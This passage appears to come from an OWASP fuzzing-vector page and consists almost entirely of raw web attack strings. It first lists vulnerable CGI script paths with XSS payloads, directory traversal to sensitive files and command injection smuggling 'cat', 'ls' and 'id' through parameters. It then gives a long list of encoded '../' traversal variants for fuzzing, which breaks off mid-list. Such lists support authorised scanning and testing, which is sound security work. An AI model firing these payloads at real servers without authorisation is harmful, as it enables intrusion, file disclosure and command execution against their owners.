environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> 